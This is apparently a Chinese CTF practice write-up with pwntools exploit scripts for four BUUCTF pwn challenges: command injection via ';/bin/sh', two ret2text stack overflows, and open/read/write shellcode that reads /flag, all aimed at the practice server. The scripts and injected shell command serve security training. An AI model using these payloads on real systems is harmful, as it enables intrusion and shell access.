PWN-PRACTICE-BUUCTF-11
- bjdctf_2020_router
- picoctf_2018_buffer overflow 1
- pwnable_orw
- wustctf2020_getshell
bjdctf_2020_router
Linux 系统可以在一个命令行上执行多个命令:; --如果命令被分号(;)所分隔,那么命令会连续的执行下去,就算是错误的命令也会继续执行后面的命令&& --如果命令被 && 所分隔,那么命令也会一直执行下去,但是中间有错误的命令就不会执行后面的命令,没错就继续执行直至命令执行完为止|| --如果命令被双竖线 || 所分隔,那么一遇到可以执行成功的命令就会停止执行后面的命令,而不管后面的命令是否正确。如果执行到错误的命令就是继续执行后一个命令,直到遇到执行到正确的命令或命令执行完为止
from pwn import *
#io=process('./bjdctf_2020_router')
io=remote('node4.buuoj.cn',28754)
io.recvuntil('choose:\n')
io.sendline('1')
io.recvuntil('address:\n')
io.sendline(';/bin/sh')
io.interactive()
picoctf_2018_buffer overflow 1
32位elf的栈溢出,ret2text
from pwn import *
#io=process('./PicoCTF_2018_buffer_overflow_1')
io=remote('node4.buuoj.cn',25028)
io.recvuntil('string: \n')
payload='a'*(0x28+4)+p32(0x080485CB)
io.sendline(payload)
io.interactive()
pwnable_orw
参考:BUUCTF:pwnable_orw
#coding:utf-8
from pwn import *
context.arch = 'i386'
io=remote('node4.buuoj.cn',29951)
#io=process('./pwnable_orw')
shellcode = shellcraft.open('/flag') #打开文件后,文件描述符赋给eax
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
payload = asm(shellcode)
io.send(payload)
io.interactive()
wustctf2020_getshell
32位elf的栈溢出,溢出8字节足以,返回到backdoor
from pwn import *
#io=process('./wustctf2020_getshell')
io=remote('node4.buuoj.cn',27941)
payload='a'*(0x18+4)+p32(0x0804851B)
io.sendline(payload)
io.interactive()